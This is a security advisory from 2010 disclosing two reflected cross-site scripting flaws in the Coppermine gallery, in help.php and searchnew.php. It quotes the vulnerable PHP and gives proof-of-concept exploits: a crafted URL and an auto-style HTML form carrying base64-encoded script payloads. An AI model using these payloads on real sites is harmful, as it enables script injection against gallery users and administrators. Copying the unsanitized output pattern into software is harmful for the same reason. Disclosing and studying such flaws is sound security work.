[waraxe-2010-SA#079] - Reflected XSS in Coppermine 1.5.10

Author: Janek Vind "waraxe"
Date: 28. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-79.html

Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coppermine is a multi-purpose fully-featured and integrated web picture gallery
script written in PHP using GD or ImageMagick as image library with a MySQL backend.

http://coppermine-gallery.net/

Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against Coppermine version 1.5.10. Research showed, that
all versions in 1.5.x branch, including 1.5.1_alpha, are vulnerable as well.

###############################################################################
1. Reflected XSS in "help.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameters "h" and "t"
Preconditions: none

Source code snippet from vulnerable script "help.php":
-----------------[ source code start ]---------------------------------
if ($superCage->get->keyExists('base')) {
$base = $superCage->get->getInt('base');
...
if ($superCage->get->keyExists('h')) {
$header = $superCage->get->getEscaped('h');
...
if ($superCage->get->keyExists('t')) {
$text = $superCage->get->getEscaped('t');
...
if ($base != '') {
// content of header and text have been base64-encoded - decode it now
$header = @unserialize(@base64_decode($header));
$text = @unserialize(@base64_decode($text));
}
...
if ($header != '') {
$content = '<h1>'.$header.'</h1>';
$content .= $text;
...
echo <<< EOT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
...
<div id="cpg_main_block">
$string
$content
-----------------[ source code end ]-----------------------------------

As seen above, user-provided data is base64 decoded and then used for html
output. No sanitization of potentially dangerous data, therefore Reflected XSS
security vulnerability exists in specific php script.

Example exploit:

http://localhost/cpg.1.5.10/help.php?base=1
&h=czozMzoiPHNjcmlwdD5hbGVydCgnaGVhZGVyJyk7PC9zY3JpcHQ%2bIjs
&t=czozMToiPHNjcmlwdD5hbGVydCgndGV4dCcpOzwvc2NyaXB0PiI7

###############################################################################
2. Reflected XSS in "searchnew.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted POST parameter "picfile_*"
Preconditions:
1. user must be logged in as Coppermine admin
2. XSS payload charset is somewhat limited, little bit of creativity needed

Source code snippet from vulnerable script "searchnew.php":
-----------------[ source code start ]---------------------------------
if (!GALLERY_ADMIN_MODE) {
cpg_die(ERROR, $lang_errors['access_denied'], __FILE__, __LINE__);
...
if ($superCage->post->keyExists('insert')) {
if ($superCage->post->keyExists('pics')){
$pics = $superCage->post->getAlnum('pics');
...
foreach ($pics as $pic_id) {
...
$picfile = $superCage->post->getAlnum('picfile_'.$pic_id);
$pic_file = base64_decode($picfile);
...
$file_name = basename($pic_file);
...
echo '<td class="'.$rowStyle.'" valign="middle" align="left">'.$file_name.'</td>'
-----------------[ source code end ]-----------------------------------

As seen above, user-provided POST parameter "pics_*" is base64 decoded
and then processed by php function basename(). Finally it is used for
html output. As in previous vulnerability, attacker is able to use base64
encoding for XSS payload obfuscation. What differs from previous case, is
the use of basename() function. Thanks to this function, XSS payload charset
is somewhat limited. Still, specific Reflected XSS vulnerabilty is exploitable.

Example exploit (Coppermine admin privileges needed):
-----------------------------------------------------------------------
<html><body><center>
<form action="http://localhost/cpg.1.5.10/searchnew.php" method="post">
<input type="hidden" name="insert" value="1">
<input type="hidden" name="pics[]" value="222">
<input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg">
<input type="submit" value="Test!">
</form>
</center></body></html>
-----------------------------------------------------------------------

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, Chb,
vince213333, to all active waraxe.us forum members and to anyone else who know me!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

Published on: 2010-12-28 (16251 reads)

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